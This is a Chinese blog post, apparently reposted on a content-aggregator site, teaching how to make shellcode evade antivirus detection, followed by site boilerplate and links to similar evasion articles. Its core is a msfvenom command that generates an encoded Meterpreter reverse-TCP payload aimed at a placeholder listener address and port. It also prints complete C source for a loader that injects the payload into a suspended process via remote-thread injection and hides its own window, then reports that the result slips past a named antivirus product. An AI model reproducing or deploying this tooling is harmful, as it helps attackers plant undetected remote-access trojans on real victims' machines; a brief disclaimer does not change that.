免杀入门---shellcode免杀

这篇具有很好参考价值的文章主要介绍了免杀入门---shellcode免杀。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

        本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。

基础概念

免杀

        免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

杀毒软件工作原理

        市面上的杀毒软件基本由扫描器、病毒特征库和虚拟机组成,它会把文件放在虚拟机内运行,扫描该文件的特征,包括静态特征、内存特征、行为特征等,通过和病毒特征库对比来判断一个文件是否为恶意文件。安全厂商一直在收集市面上出现的恶意文件添加进他们病毒库中,所以病毒文件要做到免杀的话就必须清除它本身的特征,杀软特征库匹配不上,就会把它当作正常文件,自然也就免杀了。

杀毒软件查杀原理

        特征码扫描、文件校验和法、进程行为监测法(沙盒模式)、云查杀、主动防御技术、机器学习识别技术

何为shellcode

        shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因常让攻击者获得shell而得名。shellcode常常使用机器语言编写,可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

        通俗讲,其实shellcode和其他代码没什么太大的区别,就是一段正常的code,常见的shellcode都是一串16进制的机器码,本质上是一段汇编指令

生成shellcode免杀马

msfvenom生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 \b '\x00' lhost=x.x.x.x lport=xxxx -f c 

免杀入门---shellcode免杀

使用vc加载C#shellcode加载器

 将msf生成的shellcode放入加载器中编译成exe可执行程序  (附:大佬的shellcode加载器 )

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include <tchar.h>
#include "iostream"
using namespace std;
    unsigned char shellcode[] = #[shellcode]
     
BOOL injection()
{
    TCHAR Cappname[MAX_PATH] = { 0 };
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID lpMalwareBaseAddr;
    LPVOID lpnewVictimBaseAddr;
    HANDLE hThread;
    DWORD dwExitCode;
    BOOL bRet = FALSE;

    lpMalwareBaseAddr = shellcode;

    GetSystemDirectory(Cappname, MAX_PATH);
    _tcscat(Cappname, "\\calc.exe");
    printf("Injection program Name:%S\r\n", Cappname);

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    if (CreateProcess(Cappname, NULL, NULL, NULL,
        FALSE, CREATE_SUSPENDED
        , NULL, NULL, &si, &pi) == 0)
    {
        return bRet;
    }

    lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
        , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (lpnewVictimBaseAddr == NULL)
    {
        return bRet;
    }

    WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
        (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

    hThread = CreateRemoteThread(pi.hProcess, 0, 0,
        (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

    WaitForSingleObject(pi.hThread, INFINITE);
    GetExitCodeProcess(pi.hProcess, &dwExitCode);
    TerminateProcess(pi.hProcess, 0);
    return bRet;
}

void help(char* proc)
{
    printf("%s:[-] \nstart a process and injection shellcode to memory\r\n", proc);
}

int main(int argc, char* argv[])
{
	HWND hwndDOS = GetForegroundWindow(); //得到前台窗口的句柄
	ShowWindow(hwndDOS, SW_HIDE); //隐藏窗口
    help(argv[0]);
    injection();
	return 0;
}

免杀效果(过火绒)

火绒

免杀入门---shellcode免杀

 virustotal

免杀入门---shellcode免杀

 总结

        shellcode免杀有很多种,C算是最广泛出现的了,杀毒效果并不好,免杀都具有时效性;还有很多语言的加载器Python、GO语言等。文章来源地址https://www.toymoban.com/news/detail-430485.html

到了这里,关于免杀入门---shellcode免杀的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器&加密工具

    ShellCode_Loader - MsfCobaltStrike免杀ShellCode加载器、Shellcode_encryption - 免杀Shellcode加密生成工具,目前测试免杀360火绒电脑管家Windows Defender(其他杀软未测试)。 该项目仅供网络安全研究使用,禁止使用该项目进行违法操作,否则自行承担后果,请各位遵守《中华人民共和国网络

    2024年02月04日
    浏览(53)
  • 免杀对抗-ShellCode上线+回调编译执行+混淆变异算法

    C/C++ -- ShellCode - 免杀对抗 介绍:          shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。 为什么要使用 shellcode :

    2024年02月09日
    浏览(39)
  • uniapp富文本文字长按选中(用于复制,兼容H5、APP、小程序三端)

    方案:使用u-parse的selectable属性 u-parse :selectable=\\\"true\\\" :html=\\\"content\\\"/u-parse 注意:u-parse直接使用是不兼容小程序的,需要对u-parse进行改造: 1. 查看u-parse源码发现小程序走到以下逻辑:(没有传入selectable属性,需要将selectable传入trees组件) 改造前:  改造后: 2. 进入trees组件,

    2024年02月20日
    浏览(55)
  • 网络靶场实战-免杀技术之dll注入技术详解

    DLL(动态链接库)注入技术是木马程序,远控程序免杀过程中很常见的一种技术。但是这种技术随着时间的流逝,免杀效果越来越差。因此,需要在原版的基础上我们需要去升级成反射注入,也是目前主流的免杀方式之一,反射注入的介绍我们在下面详解。 在我们继续下面的

    2024年02月07日
    浏览(64)
  • 网络攻防技术-Lab5-shellcode编写实验(SEED Labs – Shellcode Development Lab)

    网络攻防技术实验,实验环境、实验说明、实验代码见 Shellcode Development Lab 1) 编译mysh.s得到二进制文件 2) 执行 1)中的二进制文件 ,结果如下图, 我们 看到运行mysh之前的PID与运行mysh之后的PID是不同的,证明我们通过mysh启动了一个新的shell。 3) 获取机器码,以便进一步

    2023年04月13日
    浏览(42)
  • 《Git入门实践教程》前言+目录

    版本控制系统(VCS)在项目开发中异常重要,但和在校大学生的交流中知道,这个重要方向并未受到重视。具备这一技能,既是项目开发能力的体现,也可为各种面试加码。在学习体验后知道,Git多样化平台、多种操作方式、丰富的资源为业内人士提供了方便的同时,也造成

    2024年02月10日
    浏览(70)
  • Webpack5入门到原理1:前言

    开发时,我们会使用框架(React、Vue),ES6 模块化语法,Less/Sass 等 css 预处理器等语法进行开发。 这样的代码要想在浏览器运行必须经过编译成浏览器能识别的 JS、Css 等语法,才能运行。 所以我们需要打包工具帮我们做完这些事。 除此之外,打包工具还能压缩代码、做兼容

    2024年01月20日
    浏览(50)
  • 工具系列(七) 本文(4万字) | Git入门教程 | 初始本地仓库-推送合并到远程仓库 | 解读VScode与PyCharm配置与使用git | CodeGeeX与Tabnine使用 |

    点击进入专栏: 《人工智能专栏》 Python与Python | 机器学习 | 深度学习 | 目标检测 | YOLOv5及其改进 | YOLOv8及其改进 | 关键知识点 | 各种工具教程

    2024年02月21日
    浏览(63)
  • IDE也卷了,微软杀入嵌入式IDE

    为什么说 IDE 也卷了? 因为前不久(3月初), Keil 官方推出了免费、没有代码大小限制的社区版IDE(Community) 。 随后(在上周),微软也发布了基于 VS Code 的嵌入式开发插件(Embedded Tools),支持Azure RTOS、FreeRTOS操作系统。 地址: https://devblogs.microsoft.com/cppblog/vscode-embedde

    2024年02月05日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包